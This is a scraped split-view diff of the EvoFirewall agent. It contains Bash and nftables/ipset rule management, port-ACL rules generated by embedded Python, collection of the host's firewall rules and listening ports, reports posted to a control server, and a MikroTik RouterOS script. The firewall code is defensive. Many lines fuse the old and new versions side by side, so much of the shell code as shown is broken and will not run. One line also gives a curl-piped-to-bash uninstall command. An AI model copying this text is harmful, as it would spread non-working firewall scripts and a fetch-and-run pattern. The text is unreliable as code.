# Dynamic concat set for per-(ip, proto, dport) deny hits. Returns 0 if usable.
ensure_nft_port_hits_set() {
local table=$1 name=$2
local setname=deny_port_hits
local def
def=$(nft list set "$table" "$name" "$setname" 2>/dev/null || true)
if [[ -n "$def" ]] && { [[ "$def" == *"dynamic"* ]] || [[ "$def" == *"timeout"* ]]; }; then
# Keep existing; elements age out via timeout — do not flush on every apply
# (counters survive policy CIDR refresh when chain is recreated).
return 0
fi
if [[ -n "$def" ]]; then
nft delete set "$table" "$name" "$setname" 2>>"$LOG_FILE" || true
fi
if nft add set "$table" "$name" "$setname" \
'{ type ipv4_addr . inet_proto . inet_service; flags dynamic,timeout; timeout 1h; counter; }' \
2>>"$LOG_FILE"; then
return 0
fi
# Older kernels may need slightly different flag spelling.
if nft add set "$table" "$name" "$setname" \
'{ type ipv4_addr . inet_proto . inet_service; flags dynamic; timeout 1h; counter; }' \
2>>"$LOG_FILE"; then
return 0
fi
log "nft: deny_port_hits unsupported — port hits disabled"
return 1
} }
apply_nft() { apply_nft() {
local table=inet name=evofw local table=inet name=evofw
local deny_v4=() allow_v4=() p local deny_v4=() allow_v4=() p
PORT_HITS_ENABLED=0
for p in "${DENY[@]+"${DENY[@]}"}"; do [[ "$p" == *:* ]] && continue; deny_v4+=("$p"); done for p in "${DENY[@]+"${DENY[@]}"}"; do [[ "$p" == *:* ]] && continue; deny_v4+=("$p"); done
for p in "${ALLOW[@]+"${ALLOW[@]}"}"; do [[ "$p" == *:* ]] && continue; allow_v4+=("$p"); done for p in "${ALLOW[@]+"${ALLOW[@]}"}"; do [[ "$p" == *:* ]] && continue; allow_v4+=("$p"); done
nft list table "$table" "$name" >/dev/null 2>&1 || nft add table "$table" "$name" nft list table "$table" "$name" >/dev/null 2>&1 || nft add table "$table" "$name"
nft list set "$table" "$name" deny_v4 >/dev/null 2>&1 || \ # Drop chains first so sets can be deleted/recreated (upgrade to counters / port hits).
nft add set "$table" "$name" deny_v4 '{ type ipv4_addr; flags interval; }' # Stats were already captured by the caller before apply_nft.
nft list set "$table" "$name" allow_v4 >/dev/null 2>&1 || \ nft delete chain "$table" "$name" input 2>/dev/null || true
nft add set "$table" "$name" allow_v4 '{ type ipv4_addr; flags interval; }' nft delete chain "$table" "$name" forward 2>/dev/null || true
nft flush set "$table" "$name" deny_v4 nft delete chain "$table" "$name" prerouting 2>/dev/null || true
nft flush set "$table" "$name" allow_v4 ensure_nft_set "$table" "$name" deny_v4
ensure_nft_set "$table" "$name" allow_v4
if ensure_nft_port_hits_set "$table" "$name"; then
PORT_HITS_ENABLED=1
fi
nft flush set "$table" "$name" deny_v4 2>>"$LOG_FILE" || true
nft flush set "$table" "$name" allow_v4 2>>"$LOG_FILE" || true
local batch=() chunk=64 local batch=() chunk=64
for p in "${deny_v4[@]}"; do for p in "${deny_v4[@]}"; do
@@ -162,30 +442,424 @@ apply_nft() {
done done
((${#batch[@]})) && nft_add_chunk "$table" "$name" allow_v4 "${batch[@]}" ((${#batch[@]})) && nft_add_chunk "$table" "$name" allow_v4 "${batch[@]}"
nft delete chain "$table" "$name" input 2>/dev/null || true # input + forward: deny → Port ACL → allow → default.
# Unified chain: deny → allow → default_action # prerouting (mangle, before Docker NAT): established → deny → Port ACL inbound only
# (fib daddr type local; no default drop — other traffic continues to host/Docker).
if [[ "$DEFAULT_ACTION" == "drop" ]]; then if [[ "$DEFAULT_ACTION" == "drop" ]]; then
nft add chain "$table" "$name" input '{ type filter hook input priority 0; policy drop; }' nft add chain "$table" "$name" input '{ type filter hook input priority 0; policy drop; }'
nft add chain "$table" "$name" forward '{ type filter hook forward priority 0; policy drop; }'
else else
nft add chain "$table" "$name" input '{ type filter hook input priority 0; policy accept; }' nft add chain "$table" "$name" input '{ type filter hook input priority 0; policy accept; }'
nft add chain "$table" "$name" forward '{ type filter hook forward priority 0; policy accept; }'
fi fi
nft add chain "$table" "$name" prerouting '{ type filter hook prerouting priority mangle; policy accept; }'
nft add rule "$table" "$name" input ct state established,related counter accept nft add rule "$table" "$name" input ct state established,related counter accept
nft add rule "$table" "$name" input iif lo counter accept nft add rule "$table" "$name" input iif lo counter accept
nft add rule "$table" "$name" input ip saddr @deny_v4 counter drop nft add rule "$table" "$name" forward ct state established,related counter accept
nft add rule "$table" "$name" prerouting ct state established,related counter accept
nft_add_deny_on_chain "$table" "$name" input
nft_add_deny_on_chain "$table" "$name" forward
nft_add_deny_on_chain "$table" "$name" prerouting
apply_nft_port_acl "$table" "$name"
nft add rule "$table" "$name" input ip saddr @allow_v4 counter accept nft add rule "$table" "$name" input ip saddr @allow_v4 counter accept
nft add rule "$table" "$name" forward ip saddr @allow_v4 counter accept
if [[ "$DEFAULT_ACTION" == "drop" ]]; then if [[ "$DEFAULT_ACTION" == "drop" ]]; then
nft add rule "$table" "$name" input counter drop nft add rule "$table" "$name" input counter drop
nft add rule "$table" "$name" forward counter drop
else else
nft add rule "$table" "$name" input counter accept nft add rule "$table" "$name" input counter accept
nft add rule "$table" "$name" forward counter accept
fi fi
KERNEL_METHOD=nft KERNEL_METHOD=nft
APPLIED=$((${#deny_v4[@]} + ${#allow_v4[@]})) APPLIED=$((${#deny_v4[@]} + ${#allow_v4[@]}))
} }
# Deny set (+ optional port-hits) on a filter chain. Mutates PORT_HITS_ENABLED on fallback.
nft_add_deny_on_chain() {
local table=$1 name=$2 chain=$3
if [[ "$PORT_HITS_ENABLED" -eq 1 ]]; then
if ! nft add rule "$table" "$name" "$chain" \
ip saddr @deny_v4 meta l4proto '{ tcp, udp }' \
update @deny_port_hits '{ ip saddr . meta l4proto . th dport }' \
counter drop 2>>"$LOG_FILE"; then
log "nft: port-hit deny on $chain failed — fallback to plain deny drop"
PORT_HITS_ENABLED=0
nft add rule "$table" "$name" "$chain" ip saddr @deny_v4 counter drop
else
nft add rule "$table" "$name" "$chain" ip saddr @deny_v4 counter drop
fi
else
nft add rule "$table" "$name" "$chain" ip saddr @deny_v4 counter drop
fi
}
# Apply desired L4 port open/close rules from PORT_RULES_FILE (apply_version 3).
apply_nft_port_acl() {
local table=$1 name=$2
[[ -f "$PORT_RULES_FILE" ]] || return 0
if ! command -v python3 >/dev/null 2>&1; then
log "nft port ACL skipped — need python3"
return 0
fi
# Delete prior per-rule src sets (name prefix port_src_)
local setline setname
while IFS= read -r setline; do
setname=$(echo "$setline" | sed -n 's/.*set \(port_src_[a-zA-Z0-9_-]*\).*/\1/p')
[[ -n "$setname" ]] || continue
nft delete set "$table" "$name" "$setname" 2>/dev/null || true
done < <(nft list table "$table" "$name" 2>/dev/null | grep -E 'set port_src_' || true)
local cmds_file
cmds_file=$(mktemp)
python3 - "$PORT_RULES_FILE" >"$cmds_file" <<'PY'
import json, sys, re
path = sys.argv[1]
try:
rules = json.load(open(path, encoding="utf-8"))
except Exception:
rules = []
safe_id = re.compile(r"[^a-zA-Z0-9_]")
CHAINS = ("prerouting", "input", "forward")
def parse_rule(r):
rid = safe_id.sub("_", str(r.get("id") or "x"))[:40]
action = r.get("action") or "open"
proto = r.get("protocol") or "tcp"
if proto not in ("tcp", "udp"):
return None
ps = int(r.get("port_start") or 0)
pe = int(r.get("port_end") or ps)
if ps < 1 or pe > 65535 or pe < ps:
return None
cidrs = [c for c in (r.get("src_cidrs") or []) if c and ":" not in c]
if not cidrs:
return None
dport = f"{ps}" if ps == pe else f"{ps}-{pe}"
return {
"rid": rid,
"action": action,
"proto": proto,
"dport": dport,
"cidrs": cidrs,
"is_all": any(c in ("0.0.0.0/0", "0.0.0.0") for c in cidrs),
}
def emit_set(p):
if p["is_all"]:
return
setname = f"port_src_{p['rid']}_{p['proto']}"
print(f"nft add set inet evofw {setname} '{{ type ipv4_addr; flags interval; }}'")
chunk = []
for c in p["cidrs"]:
chunk.append(c)
if len(chunk) >= 32:
print(f"nft add element inet evofw {setname} '{{ {', '.join(chunk)} }}'")
chunk = []
if chunk:
print(f"nft add element inet evofw {setname} '{{ {', '.join(chunk)} }}'")
def chain_match(chain):
if chain == "prerouting":
return "fib daddr type local "
if chain == "forward":
return "ct status dnat "
return ""
def emit_rule(p, chain):
verdict = "drop" if p["action"] == "close" else "accept"
comment = f"evofw-port-{p['rid']}"
proto, dport = p["proto"], p["dport"]
prefix = chain_match(chain)
if p["is_all"]:
print(
f'nft add rule inet evofw {chain} {prefix}{proto} dport {dport} counter {verdict} comment "{comment}"'
)
return
setname = f"port_src_{p['rid']}_{p['proto']}"
print(
f'nft add rule inet evofw {chain} {prefix}ip saddr @{setname} {proto} dport {dport} counter {verdict} comment "{comment}"'
)
parsed = [p for p in (parse_rule(r) for r in rules) if p]
closes = [p for p in parsed if p["action"] == "close"]
opens = [p for p in parsed if p["action"] != "close"]
seen_sets = set()
for p in closes + opens:
key = (p["rid"], p["proto"])
if key in seen_sets:
continue
seen_sets.add(key)
emit_set(p)
for chain in CHAINS:
for p in closes:
emit_rule(p, chain)
for p in opens:
emit_rule(p, chain)
seen = set()
for p in opens:
key = (p["proto"], p["dport"])
if key in seen:
continue
seen.add(key)
comment = f"evofw-port-implicit-{p['proto']}-{p['dport']}"
prefix = chain_match(chain)
print(
f'nft add rule inet evofw {chain} {prefix}{p["proto"]} dport {p["dport"]} counter drop comment "{comment}"'
)
PY
local cmd
while IFS= read -r cmd; do
[[ -n "$cmd" ]] || continue
# shellcheck disable=SC2086
eval "$cmd" 2>>"$LOG_FILE" || log "nft port ACL cmd failed: $cmd"
done <"$cmds_file"
rm -f "$cmds_file"
}
# Collect observed host firewall rules + listeners (best-effort).
collect_host_firewall() {
printf '%s' '{"rules":[],"listeners":[]}' >"$HOST_FW_FILE"
if ! command -v python3 >/dev/null 2>&1; then
log "host_firewall: python3 missing — empty snapshot"
return 0
fi
local tmpdir nft_f ipt_f ufw_f fwd_f ss_f out_f
tmpdir=$(mktemp -d "${STATE_DIR}/hostfw.XXXXXX") || return 0
nft_f="$tmpdir/nft.txt"
ipt_f="$tmpdir/ipt.txt"
ufw_f="$tmpdir/ufw.txt"
fwd_f="$tmpdir/fwd.txt"
ss_f="$tmpdir/ss.txt"
out_f="$tmpdir/out.json"
# Dump to files — env vars blow ARG_MAX on large nft rulesets.
nft list ruleset >"$nft_f" 2>/dev/null || true
iptables-save >"$ipt_f" 2>/dev/null || true
if command -v ufw >/dev/null 2>&1; then
ufw status verbose >"$ufw_f" 2>/dev/null || true
else
: >"$ufw_f"
fi
if command -v firewall-cmd >/dev/null 2>&1; then
firewall-cmd --list-all >"$fwd_f" 2>/dev/null || true
else
: >"$fwd_f"
fi
ss -lntu >"$ss_f" 2>/dev/null || true
if NFT_F="$nft_f" IPT_F="$ipt_f" UFW_F="$ufw_f" FWD_F="$fwd_f" SS_F="$ss_f" OUT_F="$out_f" python3 - <<'PY' >/tmp/evofw-hostfw-counts.txt 2>>"$LOG_FILE"
import json, os, re
def read(path: str) -> str:
try:
with open(path, "r", encoding="utf-8", errors="replace") as f:
return f.read()
except OSError:
return ""
def ownership_of(text: str) -> str:
t = text.lower()
if "evofw" in t:
return "evofw"
return "foreign"
def rule(**kwargs):
# Omit null/empty optional fields — Zod optional rejects JSON null.
out = {
"ownership": kwargs["ownership"],
"backend": kwargs["backend"],
"raw": kwargs["raw"][:512],
}
for k in ("table", "chain", "action", "protocol", "dport", "sport", "saddr", "daddr", "comment"):
v = kwargs.get(k)
if v is not None and v != "":
out[k] = v if not isinstance(v, str) else v[:128 if k in ("table", "chain", "saddr", "daddr") else (64 if k in ("action", "dport", "sport", "protocol") else 256)]
return out
rules = []
listeners = []
nft = read(os.environ["NFT_F"])
cur_table = ""
cur_chain = ""
for line in nft.splitlines():
ls = line.strip()
if ls.startswith("table "):
cur_table = ls
cur_chain = ""
continue
m = re.match(r"chain\s+(\S+)", ls)
if m:
cur_chain = m.group(1)
continue
if not ls or ls.startswith("type ") or ls.startswith("policy ") or ls.startswith("set ") or ls.startswith("map "):
continue
if "accept" in ls or "drop" in ls or "reject" in ls or "jump " in ls or "goto " in ls:
act = "accept" if " accept" in f" {ls}" or ls.endswith("accept") else (
"drop" if " drop" in f" {ls}" or ls.endswith("drop") else (
"reject" if "reject" in ls else "other"
)
)
proto = ""
if " tcp " in f" {ls}" or ls.startswith("tcp "):
proto = "tcp"
elif " udp " in f" {ls}" or ls.startswith("udp "):
proto = "udp"
dport = ""
m = re.search(r"dport\s+(\S+)", ls)
if m:
dport = m.group(1)
saddr = ""
m = re.search(r"saddr\s+(\S+)", ls)
if m:
saddr = m.group(1).lstrip("@")
rules.append(rule(
ownership=ownership_of(cur_table + " " + cur_chain + " " + ls),
backend="nft",
table=cur_table[:120],
chain=cur_chain[:120],
action=act,
protocol=proto or None,
dport=dport or None,
saddr=saddr or None,
raw=ls[:500],
))
ipt = read(os.environ["IPT_F"])
cur_chain = ""
for line in ipt.splitlines():
if line.startswith(":"):
cur_chain = line[1:].split()[0] if line[1:] else ""
continue
if not line.startswith("-A "):
continue
parts = line.split(None, 2)
chain = parts[1] if len(parts) > 1 else ""
act = "DROP" if " -j DROP" in line else (
"ACCEPT" if " -j ACCEPT" in line else (
"REJECT" if " -j REJECT" in line else "other"
)
)
proto = ""
m = re.search(r"-p\s+(\w+)", line)
if m:
proto = m.group(1)
dport = ""
m = re.search(r"--dport(?:s)?\s+(\S+)", line)
if m:
dport = m.group(1)
saddr = ""
m = re.search(r"-s\s+(\S+)", line)
if m:
saddr = m.group(1)
rules.append(rule(
ownership=ownership_of(line),
backend="iptables",
chain=chain[:120],
action=act.lower() if isinstance(act, str) else act,
protocol=proto or None,
dport=dport or None,
saddr=saddr or None,
raw=line[:500],
))
ufw = read(os.environ["UFW_F"])
for line in ufw.splitlines():
ls = line.strip()
if not ls or ls.startswith("Status") or ls.startswith("Logging") or ls.startswith("Default") or ls.startswith("To") or ls.startswith("--"):
continue
if "ALLOW" in ls or "DENY" in ls or "REJECT" in ls:
rules.append(rule(
ownership=ownership_of(ls),
backend="ufw",
action="allow" if "ALLOW" in ls else ("deny" if "DENY" in ls else "reject"),
raw=ls[:500],
))
fwd = read(os.environ["FWD_F"])
for line in fwd.splitlines():
ls = line.strip()
if not ls:
continue
if ls.startswith("ports:") or ls.startswith("services:") or ":" in ls:
rules.append(rule(
ownership="foreign",
backend="firewalld",
raw=ls[:500],
))
ss = read(os.environ["SS_F"])
for line in ss.splitlines()[1:]:
parts = line.split()
if len(parts) < 5:
continue
proto = parts[0]
local = parts[4]
m = re.search(r"([^:]+):(\d+)$", local)
if not m:
m = re.search(r"\[([^\]]+)\]:(\d+)$", local)
if not m:
continue
addr, port_s = m.group(1), m.group(2)
else:
addr, port_s = m.group(1), m.group(2)
try:
port = int(port_s)
except ValueError:
continue
listeners.append({
"protocol": "tcp" if proto.startswith("tcp") else ("udp" if proto.startswith("udp") else proto),
"port": port,
"address": addr,
})
rules = rules[:500]
listeners = listeners[:200]
with open(os.environ["OUT_F"], "w", encoding="utf-8") as f:
json.dump({"rules": rules, "listeners": listeners}, f, separators=(",", ":"))
print(f"{len(rules)} {len(listeners)}")
PY
then
if [[ -f "$out_f" ]]; then
cp "$out_f" "$HOST_FW_FILE"
log "host_firewall collected $(tr -d '\r\n' </tmp/evofw-hostfw-counts.txt 2>/dev/null || echo '?')"
fi
else
log "host_firewall: collect failed — empty snapshot"
printf '%s' '{"rules":[],"listeners":[]}' >"$HOST_FW_FILE"
fi
rm -rf "$tmpdir" 2>/dev/null || true
}
ensure_ipset_counters() {
local name=$1
if ! ipset list "$name" >/dev/null 2>&1; then
if ipset create "$name" hash:net family inet counters 2>>"$LOG_FILE"; then
return 0
fi
ipset create "$name" hash:net family inet 2>>"$LOG_FILE" || {
log "ipset: failed to create $name"
return 1
}
return 0
fi
# Recreate once if set has no packet counters (Header lacks "counters").
local header
header=$(ipset list "$name" 2>/dev/null | head -n 5 || true)
if [[ "$header" == *"counters"* ]]; then
return 0
fi
# Cannot safely destroy while iptables may reference the set — leave as-is.
log "ipset: $name has no counters (leave existing; per-IP hits unavailable)"
}
apply_ipset() { apply_ipset() {
local dset=evofw_deny_v4 aset=evofw_allow_v4 local dset=evofw_deny_v4 aset=evofw_allow_v4
ipset list "$dset" >/dev/null 2>&1 || ipset create "$dset" hash:net family inet ensure_ipset_counters "$dset"
ipset list "$aset" >/dev/null 2>&1 || ipset create "$aset" hash:net family inet ensure_ipset_counters "$aset"
ipset flush "$dset"; ipset flush "$aset" ipset flush "$dset"; ipset flush "$aset"
local p n=0 local p n=0
for p in "${DENY[@]+"${DENY[@]}"}"; do [[ "$p" == *:* ]] && continue; ipset add "$dset" "$p" -exist; n=$((n+1)); done for p in "${DENY[@]+"${DENY[@]}"}"; do [[ "$p" == *:* ]] && continue; ipset add "$dset" "$p" -exist; n=$((n+1)); done
@@ -210,13 +884,79 @@ send_report() {
collect_nft_stats collect_nft_stats
fi fi
fi fi
local report if [[ -z "${IP_HITS_CAPTURED:-}" ]]; then
report=$(printf '{"status":"ok","prefix_count":%s,"packets_dropped":%s,"packets_accepted":%s,"kernel_method":"%s","source":"agent"}' \ collect_ip_hits
"${APPLIED:-0}" "${PACKETS_DROPPED:-0}" "${PACKETS_ACCEPTED:-0}" "${KERNEL_METHOD:-$BACKEND}") fi
curl -fsS -X POST "${EVOFW_CP_URL%/}/v1/agent/apply-report" \ if [[ -z "${PORT_HITS_CAPTURED:-}" ]]; then
collect_port_hits
fi
if [[ -z "${HOST_FW_CAPTURED:-}" ]]; then
collect_host_firewall
fi
local report_file http_code counts n_rules n_listen n_ip n_port
report_file=$(mktemp "${STATE_DIR}/report.XXXXXX")
# Compose report via files only — never bash ${var:-{...}} (} closes expansion).
if command -v python3 >/dev/null 2>&1; then
[[ -f "$HOST_FW_FILE" ]] || printf '%s' '{"rules":[],"listeners":[]}' >"$HOST_FW_FILE"
[[ -f "$IP_HITS_FILE" ]] || printf '%s' '[]' >"$IP_HITS_FILE"
[[ -f "$PORT_HITS_FILE" ]] || printf '%s' '[]' >"$PORT_HITS_FILE"
counts=$(APPLIED="${APPLIED:-0}" DROPPED="${PACKETS_DROPPED:-0}" ACCEPTED="${PACKETS_ACCEPTED:-0}" \
METHOD="${KERNEL_METHOD:-$BACKEND}" HOST_FW_F="$HOST_FW_FILE" IP_HITS_F="$IP_HITS_FILE" \
PORT_HITS_F="$PORT_HITS_FILE" OUT_F="$report_file" python3 - <<'PY' 2>>"$LOG_FILE"
import json, os
def load(path, default):
try:
with open(path, "r", encoding="utf-8") as f:
return json.load(f)
except Exception as e:
print(f"load_error {path}: {e}", file=__import__("sys").stderr)
return default
payload = {
"status": "ok",
"prefix_count": int(os.environ.get("APPLIED") or 0),
"packets_dropped": int(os.environ.get("DROPPED") or 0),
"packets_accepted": int(os.environ.get("ACCEPTED") or 0),
"kernel_method": os.environ.get("METHOD") or "auto",
"source": "agent",
"ip_hits": load(os.environ["IP_HITS_F"], []),
"port_hits": load(os.environ["PORT_HITS_F"], []),
"host_firewall": load(os.environ["HOST_FW_F"], {"rules": [], "listeners": []}),
}
with open(os.environ["OUT_F"], "w", encoding="utf-8") as f:
json.dump(payload, f, separators=(",", ":"))
n_rules = len(payload["host_firewall"].get("rules") or [])
n_listen = len(payload["host_firewall"].get("listeners") or [])
n_ip = len(payload["ip_hits"] or [])
n_port = len(payload["port_hits"] or [])
print(f"{n_rules} {n_listen} {n_ip} {n_port}")
PY
) || counts="0 0 0 0"
# shellcheck disable=SC2086
set -- $counts
n_rules=${1:-0}
n_listen=${2:-0}
n_ip=${3:-0}
n_port=${4:-0}
else
printf '{"status":"ok","prefix_count":%s,"packets_dropped":%s,"packets_accepted":%s,"kernel_method":"%s","source":"agent","ip_hits":[],"port_hits":[]}' \
"${APPLIED:-0}" "${PACKETS_DROPPED:-0}" "${PACKETS_ACCEPTED:-0}" "${KERNEL_METHOD:-$BACKEND}" \
>"$report_file"
n_rules=0
n_listen=0
n_ip=0
n_port=0
fi
http_code=$(curl -sS -o /tmp/evofw-apply-report.out -w '%{http_code}' -X POST "${EVOFW_CP_URL%/}/v1/agent/apply-report" \
-H "Authorization: Bearer ${CLIENT_TOKEN}" \ -H "Authorization: Bearer ${CLIENT_TOKEN}" \
-H "Content-Type: application/json" \ -H "Content-Type: application/json" \
-d "$report" >/dev/null 2>&1 || true --data-binary @"$report_file" 2>/dev/null || echo "000")
log "apply-report http=${http_code} host_fw=${n_rules}/${n_listen} ip_hits=${n_ip} port_hits=${n_port}"
if [[ "$http_code" != "200" ]]; then
log "apply-report failed body=$(head -c 200 /tmp/evofw-apply-report.out 2>/dev/null || true)"
fi
rm -f "$report_file" 2>/dev/null || true
curl -fsS -X POST "${EVOFW_CP_URL%/}/v1/agent/heartbeat" \ curl -fsS -X POST "${EVOFW_CP_URL%/}/v1/agent/heartbeat" \
-H "Authorization: Bearer ${CLIENT_TOKEN}" \ -H "Authorization: Bearer ${CLIENT_TOKEN}" \
-H "Content-Type: application/json" \ -H "Content-Type: application/json" \
@@ -225,16 +965,45 @@ send_report() {
if [[ -f "$HASH_FILE" && "$(tr -d '\r\n' <"$HASH_FILE")" == "$HASH" && -n "$HASH" ]]; then if [[ -f "$HASH_FILE" && "$(tr -d '\r\n' <"$HASH_FILE")" == "$HASH" && -n "$HASH" ]]; then
log "unchanged hash $HASH — skip apply" log "unchanged hash $HASH — skip apply"
KERNEL_METHOD="${BACKEND}" if command -v nft >/dev/null 2>&1 && nft list table inet evofw >/dev/null 2>&1; then
KERNEL_METHOD=nft
elif command -v ipset >/dev/null 2>&1 && ipset list evofw_deny_v4 >/dev/null 2>&1; then
KERNEL_METHOD=ipset
else
KERNEL_METHOD="${BACKEND}"
fi
# Count applied prefixes from live sets when skipping apply.
if [[ "$KERNEL_METHOD" == "nft" ]]; then
APPLIED=$(nft list set inet evofw deny_v4 2>/dev/null | grep -cE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' || true)
local_allow=$(nft list set inet evofw allow_v4 2>/dev/null | grep -cE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' || true)
APPLIED=$((${APPLIED:-0} + ${local_allow:-0}))
elif [[ "$KERNEL_METHOD" == "ipset" ]]; then
APPLIED=$(ipset list evofw_deny_v4 2>/dev/null | awk '/^[0-9]/{c++} END{print c+0}')
local_allow=$(ipset list evofw_allow_v4 2>/dev/null | awk '/^[0-9]/{c++} END{print c+0}')
APPLIED=$((${APPLIED:-0} + ${local_allow:-0}))
fi
collect_host_firewall
HOST_FW_CAPTURED=1
send_report send_report
exit 0 exit 0
fi fi
# Capture counters BEFORE recreate (nft delete chain zeroes them). # Capture counters BEFORE recreate (nft delete chain / flush set zeroes them).
if command -v nft >/dev/null 2>&1; then if command -v nft >/dev/null 2>&1 && nft list table inet evofw >/dev/null 2>&1; then
collect_nft_stats collect_nft_stats
collect_nft_ip_hits
collect_nft_port_hits
STATS_CAPTURED=1 STATS_CAPTURED=1
IP_HITS_CAPTURED=1
PORT_HITS_CAPTURED=1
elif command -v ipset >/dev/null 2>&1 && ipset list evofw_deny_v4 >/dev/null 2>&1; then
collect_ipset_ip_hits
IP_HITS_CAPTURED=1
printf '%s' '[]' >"$PORT_HITS_FILE"
PORT_HITS_CAPTURED=1
fi fi
collect_host_firewall
HOST_FW_CAPTURED=1
case "$BACKEND" in case "$BACKEND" in
nft|auto) nft|auto)
+5 -2
View File
@@ -1,6 +1,7 @@
#!/usr/bin/env bash #!/usr/bin/env bash
# EvoFirewall Linux install one-liner # EvoFirewall Linux install one-liner
# Re-run on an already-installed host updates scripts/timer and keeps credentials # Re-run on an already-installed host updates scripts/timer **and forces nft
# rule re-apply** (clears last_hash), keeping credentials
# (unless EVOFW_INSTALL_FORCE=1 → full re-enroll). # (unless EVOFW_INSTALL_FORCE=1 → full re-enroll).
set -euo pipefail set -euo pipefail
@@ -250,8 +251,10 @@ if [[ -f "$CONF_FILE" && "${EVOFW_INSTALL_FORCE:-}" != "1" ]]; then
download_sync_script "$SYNC_TMP" || exit 1 download_sync_script "$SYNC_TMP" || exit 1
write_conf "$CLIENT_ID" "$CLIENT_TOKEN" "$CLIENT_NAME" "$BACKEND" write_conf "$CLIENT_ID" "$CLIENT_TOKEN" "$CLIENT_NAME" "$BACKEND"
install_sync_and_uninstall "$SYNC_TMP" install_sync_and_uninstall "$SYNC_TMP"
# Force one apply after script refresh (nft set upgrade, counters, port hits, etc.).
rm -f /var/lib/evofw/last_hash
enable_scheduler_and_run enable_scheduler_and_run
echo "Updated. Client id=${CLIENT_ID}. Sync script + timer refreshed." echo "Updated. Client id=${CLIENT_ID}. Sync script + timer refreshed; nft rules re-applied."
echo "Force sync: $SYNC_SCRIPT" echo "Force sync: $SYNC_SCRIPT"
echo "Uninstall: $UNINSTALL_SCRIPT (or: curl -fsSL ${CP_URL}/v1/agent/uninstall.sh | bash)" echo "Uninstall: $UNINSTALL_SCRIPT (or: curl -fsSL ${CP_URL}/v1/agent/uninstall.sh | bash)"
exit 0 exit 0
+54 -10
View File
@@ -49,7 +49,7 @@
:set token ("evofw_" . [:tostr [/system clock get time]] . [:tostr [/system resource get cpu-load]] . [:tostr [/system resource get free-memory]] . [:tostr [:rndnum from=100000 to=999999]]) :set token ("evofw_" . [:tostr [/system clock get time]] . [:tostr [/system resource get cpu-load]] . [:tostr [/system resource get free-memory]] . [:tostr [:rndnum from=100000 to=999999]])
} }
:local body ("{\"name\":\"" . $EvofwName . "\",\"hostname\":\"" . [/system identity get name] . "\",\"platform\":\"mikrotik\",\"token\":\"" . $token . "\",\"client_version\":\"rsc/4\"") :local body ("{\"name\":\"" . $EvofwName . "\",\"hostname\":\"" . [/system identity get name] . "\",\"platform\":\"mikrotik\",\"token\":\"" . $token . "\",\"client_version\":\"rsc/6\"")
:if ([:typeof $EvofwInstallLinkId] != "nothing" && [:len $EvofwInstallLinkId] > 0) do={ :if ([:typeof $EvofwInstallLinkId] != "nothing" && [:len $EvofwInstallLinkId] > 0) do={
:set body ($body . ",\"install_link_id\":\"" . $EvofwInstallLinkId . "\"") :set body ($body . ",\"install_link_id\":\"" . $EvofwInstallLinkId . "\"")
} }
@@ -67,12 +67,38 @@
:set EvofwLastHash "" :set EvofwLastHash ""
# Filter rules (idempotent by comment) # Filter rules (idempotent by comment) — always at the top of each chain.
# Deny path: hit (add-src → EVOFW_HITS) then drop. Allow/default unchanged.
:do { /ip firewall filter remove [find comment~"^evofw-"] } on-error={} :do { /ip firewall filter remove [find comment~"^evofw-"] } on-error={}
/ip firewall filter add chain=input action=drop src-address-list=EVOFW_DENY comment=evofw-deny-drop-input disabled=no
/ip firewall filter add chain=forward action=drop src-address-list=EVOFW_DENY comment=evofw-deny-drop-forward disabled=no :local inputFirst [/ip firewall filter find where chain=input]
/ip firewall filter add chain=forward action=accept src-address-list=EVOFW_ALLOW comment=evofw-allow-accept-forward disabled=no :local inputPb ""
/ip firewall filter add chain=forward action=drop comment=evofw-default-drop-forward disabled=yes :if ([:len $inputFirst] > 0) do={ :set inputPb ($inputFirst->0) }
:local forwardFirst [/ip firewall filter find where chain=forward]
:local forwardPb ""
:if ([:len $forwardFirst] > 0) do={ :set forwardPb ($forwardFirst->0) }
# place-before same anchor repeatedly → earlier adds stay above later ones.
:if ([:len $inputPb] > 0) do={
/ip firewall filter add chain=input action=add-src-to-address-list address-list=EVOFW_HITS address-list-timeout=1h src-address-list=EVOFW_DENY comment=evofw-deny-hit-input disabled=no place-before=$inputPb
/ip firewall filter add chain=input action=drop src-address-list=EVOFW_DENY comment=evofw-deny-drop-input disabled=no place-before=$inputPb
} else={
/ip firewall filter add chain=input action=add-src-to-address-list address-list=EVOFW_HITS address-list-timeout=1h src-address-list=EVOFW_DENY comment=evofw-deny-hit-input disabled=no
/ip firewall filter add chain=input action=drop src-address-list=EVOFW_DENY comment=evofw-deny-drop-input disabled=no
}
:if ([:len $forwardPb] > 0) do={
/ip firewall filter add chain=forward action=add-src-to-address-list address-list=EVOFW_HITS address-list-timeout=1h src-address-list=EVOFW_DENY comment=evofw-deny-hit-forward disabled=no place-before=$forwardPb
/ip firewall filter add chain=forward action=drop src-address-list=EVOFW_DENY comment=evofw-deny-drop-forward disabled=no place-before=$forwardPb
/ip firewall filter add chain=forward action=accept src-address-list=EVOFW_ALLOW comment=evofw-allow-accept-forward disabled=no place-before=$forwardPb
/ip firewall filter add chain=forward action=drop comment=evofw-default-drop-forward disabled=yes place-before=$forwardPb
} else={
/ip firewall filter add chain=forward action=add-src-to-address-list address-list=EVOFW_HITS address-list-timeout=1h src-address-list=EVOFW_DENY comment=evofw-deny-hit-forward disabled=no
/ip firewall filter add chain=forward action=drop src-address-list=EVOFW_DENY comment=evofw-deny-drop-forward disabled=no
/ip firewall filter add chain=forward action=accept src-address-list=EVOFW_ALLOW comment=evofw-allow-accept-forward disabled=no
/ip firewall filter add chain=forward action=drop comment=evofw-default-drop-forward disabled=yes
}
# Build sync body as a template script, then prepend baked credentials → one script # Build sync body as a template script, then prepend baked credentials → one script
:do { /system script remove [find name="evofw-sync-body"] } on-error={} :do { /system script remove [find name="evofw-sync-body"] } on-error={}
@@ -114,7 +140,9 @@
:do { /ip firewall address-list add list=EVOFW_ALLOW address=$a comment=evofw } on-error={} :do { /ip firewall address-list add list=EVOFW_ALLOW address=$a comment=evofw } on-error={}
} }
:local da ($p->"default_action") :local da ($p->"default_action")
:do { /ip firewall filter set [find comment=evofw-deny-hit-input] disabled=no } on-error={}
:do { /ip firewall filter set [find comment=evofw-deny-drop-input] disabled=no } on-error={} :do { /ip firewall filter set [find comment=evofw-deny-drop-input] disabled=no } on-error={}
:do { /ip firewall filter set [find comment=evofw-deny-hit-forward] disabled=no } on-error={}
